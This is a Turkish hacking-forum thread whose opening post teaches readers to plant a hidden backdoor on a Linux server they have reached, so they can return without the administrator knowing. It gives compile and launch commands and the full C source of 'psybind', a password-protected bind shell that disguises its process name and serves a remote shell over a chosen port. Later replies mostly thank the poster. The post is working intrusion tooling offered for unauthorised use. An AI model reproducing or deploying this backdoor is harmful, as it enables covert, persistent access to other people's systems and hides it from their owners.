|
|||||||
| Exploitler Exploitler hakkında bilmek istedikleriniz. |
| ||
![]() |
|
|
Seçenekler | Stil |
![]() Shell Hesabı Yaratma | ||||||||||
|
(#1)
|
||||||||||
|
[10]Yeni Üye
![]() ![]() >Mesaj Sayısı: 746
>Açtığı Konu: 39
Level: 24 [ ]Paylaşım: 59 / 592 Üyelik tarihi: Apr 2007
Kullanıcı No: 13325
Rep Puani: 144
Rep Derecesi :
![]() ![]() |
Herhangi bir linux servera erişiminiz olduğunu ve bu erişimin süre ile kısıtlı olduğunu
düşünün... Bu public bir shell sunucusu olabileceği gibi, arkadaşınızın, ya da bir şekilde bağlantı sağlayabildiniz bir sunucu olduğunu ve bu sunucuya tekrar adminin haberi olmadan erişmek istediğinizi düşünün ... Tabii ki sunucuya bir backdoor kurarsınız... Ancak bu backdoorun oldukça gelişmiş ve kendini saklayabilen bir backdoor olması gerekmekte. Ve de sizin çözümünüz Psuedo Öncelikle dosyamızı ekten indirin ve backdoor açmak istediğiniz sunucuya aktarın. Ve ardından aşağıdaki adımları izleyin: 1- gcc - o psybind psybind.c komutu ile dosyayı compile edin. 2- ./psybind -s /bin/sh -c apache -r /home -w sifre -p 7654 Buradaki apache görünecek process ismi(bunu top komutu ile çalışan processleri listeleyip istediğinizi seçerekte yapabilirsiniz), /bin/sh shell pathi, /home başlangıç klasoru, -w tabiiki şifre ve 7654 te bağlantı portu. ./psybind yazarak paramterlereleri görebilirsiniz. 3- Kendi bilgisayarınızdan ayarladığınız port ile sunucuya bağlantı kurun ve keyfinize bakın Kod:
/*
O O o o . . . . . . . . o o O O
O O
. .
. RST/GHC Pseudo Bind Shell [ psybind.c ] .
. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= .
. [v 1.0.0] .
[Compiling]:
$ gcc -o psybind psybind.c
[Usage]:
$ ./psybind <options>
[Option] [Default] [Description]
-p [7654] Port number
-w [rstghc] Set password
-r [/] Start path
-c [[HTTP]] Fake process name
-s [/bin/bash] Shell(program) path
-h This screen
[Example]:
. Run in Remote Host: .
. $ ./psybind -s /bin/sh -c girl -r /home -w 123 -p 31337 .
. .
. To connect with remote computer: .
o $ nc 127.0.0.1 31337 o
o o
O Code by Dr_UF0_51 (civufo[at]mail.ru) O
O Good luck ;) O
O O o o . . . . . . . . o o O O
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <fcntl.h>
#include <unistd.h>
#include <netinet/in.h>
#include <errno.h>
#include <termios.h>
#include <sys/select.h>
#include <sys/time.h>
#include <sys/types.h>
#include <strings.h>
#include <signal.h>
#include <wait.h>
#include <string.h>
#define BUFSIZE 1024
void usage(void);
void waitpd(int);
char motd[] = "\nWelcome to RST/GHC - Pseudo Bind Shell\n\n";
int main(int arg, char **param)
{
int sd, nread, datas, td, i, dn, pid;
int sins = 0x10; // Size
int ptym, ptyn;
struct sockaddr_in saddrs;
struct sockaddr_in saddrd;
struct termios terms;
fd_set fds;
char *buffer[BUFSIZE];
char *password[255], c;
int port = 7654; // Port number
char pass[255] = "rstghc"; // Password
char path[255] = "/"; // Start path
char cmdname[255] = "[HTTP]"; // Fake process name
char shell[255] = "/bin/bash"; // Program [shell]
/* Arguments */
while(( c = getopt(arg, param, "p:w:c:r:s:h")) > 0)
switch(c)
{
case 'p':
port = atoi(optarg);
break;
case 'w':
strncpy(pass, optarg, 255);
break;
case 'c':
strncpy(cmdname, optarg, 255);
break;
case 'r':
strncpy(path, optarg, 255);
break;
case 's':
strncpy(shell, optarg, 255);
break;
case 'h':
usage();
exit(0);
break;
}
/* Port check */
if( port > 65535 | port < 1)
{
fprintf(stderr, "Error: Ports must be > 0 and < 65535\n");
exit(1);
}
/* Creat Socket struct */
bzero(&saddrs, sizeof(saddrs));
saddrs.sin_family = AF_INET;
saddrs.sin_port = htons(port);
saddrs.sin_addr.s_addr = INADDR_ANY;
/* Creat Socket */
if(( sd = socket( AF_INET, SOCK_STREAM, 0)) < 0)
{
fprintf(stderr, "Error[%d]: Creat Socket Failed\n", errno);
exit(2);
}
/* Bind Port */
if( bind(sd, (struct sockaddr *)&saddrs, sizeof(saddrs)) < 0)
{
fprintf(stderr, "Error[%d]: Bind Port Failed\n", errno);
close(sd);
exit(3);
}
/* Listen Port */
if( listen(sd, 5) < 0) // Max active connections = 5
{
fprintf(stderr, "Error[%d]: Listen Port Failed\n", errno);
close(sd);
exit(4);
}
/* PID */
if((pid = fork()) != 0)
{
printf("Shell Started.. [pid = %d] Good luck ;)\n", pid) ;
exit(0);
}
chdir(path); // Path
setsid(); // Run in a new session
signal(SIGCHLD, waitpd); // Waitpid
/* Wait Data */
for(;;)
{
if(( datas = accept(sd, (struct sockaddr *)&saddrd, &sins)) > 0) // If data accepted, start
if((pid = fork()) < 0)
continue;
else if(pid == 0)
{
/* Open Pseudo - Terminal Master*/
if(( ptym = getpt()) < 0)
{
fprintf(stderr, "Error[%d]: Can't Open Pseudo - Terminal Master\n", errno);
exit(5);
}
/* Unlock Slave Pseudo Terminal */
if( unlockpt(ptym) < 0 )
{
fprintf(stderr, "Error[%d]: Can't Unlock Slave Pseudo Terminal\n", errno);
exit(6);
}
/* Process Group Id*/
if(setpgid(0, 0) < 0)
{
fprintf(stderr, "Error[%d]: Setpgid Failed\n", errno);
exit(8);
}
ptyn = ptsname(ptym); // Name of the slave pseudo-terminal
tcgetattr(0, &terms); // Sandart input
/* Open terminal */
if(( td = open((char *)ptyn, O_RDWR)) < 0)
{
fprintf(stderr, "Error[%d]: Can't Open Terminal Name\n", errno);
exit(7);
}
/* Fork */
if( fork() == 0)
{
if(setsid() < 0)
{
fprintf(stderr, "Error[%d]: setsid Failed\n", errno);
exit(6);
}
tcsetattr(td, TCSANOW, &terms); // Set parametr now
write(td, "Password: ", 10);
read(td, password, sizeof(password));
dup2(td, 0);
dup2(td, 1);
dup2(td, 2);
/* Check password */
if(!chpass(password, pass))
{
write(td, motd, strlen(motd));
close(td);
execl( shell, cmdname, 0); // Exec shell
}
close(td);
}
close(td);
for(;;)
{
FD_ZERO(&fds);
FD_SET(datas, &fds); // Set datas for select
FD_SET(ptym, &fds); // Set ptym for select
if((i = select( ptym + 1, &fds, NULL, NULL, NULL)) <= 0)// Wait data for select descriptor
break;
if(FD_ISSET(datas, &fds)) // If socket
{
bzero(buffer, sizeof(buffer));
if(( nread = read (datas, buffer, BUFSIZE)) <= 0)
break;
if( write(ptym, buffer, nread) <= 0)
break;
}
if(FD_ISSET(ptym, &fds)) // If pty
{
bzero(buffer, sizeof(buffer));
if(( nread = read ( ptym, buffer, BUFSIZE)) <= 0)
break;
if(write(datas, buffer, nread) <= 0)
break;
}
}
close(datas);
close(ptym);
exit(0);
} // fork
close(datas);
} // for
}
/** Waitpid (fucking zombie ;) **/
void waitpd(int i)
{
waitpid(-1, NULL, WNOHANG);
}
/** Usage **/
void usage(void)
{
printf("\n\t RST/GHC Pseudo Bind Shell");
printf("\t =--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=\n");
printf("\t\t\t\t\t\t\t\tby Dr_UF0_51\n\n");
printf("Usage: ./psybind <options>\n");
printf("\t-p [7654] Port number\n");
printf("\t-w [rstghc] Set password\n");
printf("\t-r [/] Start path\n");
printf("\t-c [[HTTP]] Fake process name\n");
printf("\t-s [/bin/bash] Shell(program) path\n");
printf("\t-h This screen\n");
}
/** Check Password **/
int chpass(char *str1, char *str2)
{
int i, s1 = 0, k = 1;
if(str1[strlen(str1) - 1] = 0x0d) k++; // if telnet
for(i = 0; i < strlen(str1) - k; i++)
if( str1[i] != str2[i] )
{
s1 = 1;
break;
}
if( strlen(str1) == k ) s1 = 1; // If ENTER pressed
return(s1);
}
|
|||||||||
|
||||||||||
|
|
![]() Cevap: Shell Hesabınız yok mu ? Kendiniz Yaratın ! [ Pseudo Backdoor] | ||||||||||
|
(#2)
|
||||||||||
|
[10]Yeni Üye
![]() ![]() >Mesaj Sayısı: 19
>Açtığı Konu: 1
Level: 3 [ ![]() ]Paylaşım: 0 / 52 Üyelik tarihi: Jun 2007
Kullanıcı No: 62348
Rep Puani: 100
Rep Derecesi :
![]() ![]() |
eyvallah super baba işimize yarar bu
|
|||||||||
|
||||||||||
![]() Cevap: Shell Hesabınız yok mu ? Kendiniz Yaratın ! [ Pseudo Backdoor] | ||||||||||
|
(#3)
|
||||||||||
|
[10]Yeni Üye
![]() ![]() ![]() >Mesaj Sayısı: 438
>Açtığı Konu: 51
Level: 19 [ ![]() ![]() ]Paylaşım: 46 / 460 Üyelik tarihi: Jun 2007
Kullanıcı No: 68926
Rep Puani: 150
Rep Derecesi :
![]() ![]() |
sağol çok teşekkür ederiz
|
|||||||||
|
||||||||||
![]() Cevap: Shell Hesabınız yok mu ? Kendiniz Yaratın ! [ Pseudo Backdoor] | ||||||||||
|
(#4)
|
||||||||||
|
[10]Yeni Üye
![]() ![]() >Mesaj Sayısı: 746
>Açtığı Konu: 39
Level: 24 [ ]Paylaşım: 59 / 592 Üyelik tarihi: Apr 2007
Kullanıcı No: 13325
Rep Puani: 144
Rep Derecesi :
![]() ![]() |
sizler sağolun
|
|||||||||
|
||||||||||
![]() Cevap: Shell Hesabınız yok mu ? Kendiniz Yaratın ! [ Pseudo Backdoor] | ||||||||||
|
(#5)
|
||||||||||
|
[10]Yeni Üye
![]() ![]() >Mesaj Sayısı: 329
>Açtığı Konu: 23
Level: 16 [ ]Paylaşım: 39 / 398 Üyelik tarihi: Apr 2007
Kullanıcı No: 909
Rep Puani: 180
Rep Derecesi :
![]() ![]() |
Paylaşım için sağol
|
|||||||||
|
||||||||||
![]() Cevap: Shell Hesabınız yok mu ? Kendiniz Yaratın ! [ Pseudo Backdoor] | ||||||||||
|
(#6)
|
||||||||||
|
[10]Yeni Üye
![]() ![]() >Mesaj Sayısı: 93
>Açtığı Konu: 0
Level: 8 [ ]Paylaşım: 0 / 190 Üyelik tarihi: Apr 2007
Kullanıcı No: 2104
Rep Puani: 100
Rep Derecesi :
![]() ![]() |
paylaşım için teşekkürler
|
|||||||||
|
||||||||||
![]() Cevap: Shell Hesabınız yok mu ? Kendiniz Yaratın ! [ Pseudo Backdoor] | ||||||||||
|
(#7)
|
||||||||||
|
[10]Yeni Üye
![]() ![]() >Mesaj Sayısı: 746
>Açtığı Konu: 39
Level: 24 [ ]Paylaşım: 59 / 592 Üyelik tarihi: Apr 2007
Kullanıcı No: 13325
Rep Puani: 144
Rep Derecesi :
![]() ![]() |
Rica edeırm!
|
|||||||||
|
||||||||||
![]() Cevap: Shell Hesabınız yok mu ? Kendiniz Yaratın ! [ Pseudo Backdoor] | ||||||||||
|
(#8)
|
||||||||||
|
[10]Yeni Üye
![]() ![]() >Mesaj Sayısı: 520
>Açtığı Konu: 24
Level: 21 [ ![]() ![]() ![]() ]Paylaşım: 50 / 500 Üyelik tarihi: Jun 2007
Kullanıcı No: 56978
Nerden: TRABZON
Rep Puani: 100
Rep Derecesi :
![]() ![]() |
paylasım ıcın tessekkurler
|
|||||||||
|
||||||||||
![]() Cevap: Shell Hesabınız yok mu ? Kendiniz Yaratın ! [ Pseudo Backdoor] | ||||||||||
|
(#9)
|
||||||||||
|
[10]Yeni Üye
![]() ![]() >Mesaj Sayısı: 20
>Açtığı Konu: 2
Level: 3 [ ![]() ]Paylaşım: 0 / 55 Üyelik tarihi: Dec 2007
Kullanıcı No: 194532
Rep Puani: 100
Rep Derecesi :
![]() ![]() |
sağolasin...
|
|||||||||
|
||||||||||
![]() Cevap: Shell Hesabınız yok mu ? Kendiniz Yaratın ! [ Pseudo Backdoor] | ||||||||||
|
(#10)
|
||||||||||
|
[10]Yeni Üye
![]() ![]() ![]() >Mesaj Sayısı: 1,379
>Açtığı Konu: 273
Level: 31 [ ]Paylaşım: 309 / 773 Üyelik tarihi: Nov 2007
Kullanıcı No: 191553
Nerden: Bilgisayarım.Yerel Disc C.Windows.System 32.Kadızade Mahallesi.No:69.Bayburt.|69|
Rep Puani: 189
Rep Derecesi :
![]() ![]() |
paylasım için saol
|
|||||||||
|
||||||||||
![]() |
| Konuyu Toplam 1 Üye okuyor. (0 Kayıtlı üye ve 1 Misafir) | |
| Seçenekler | |
| Stil | |
|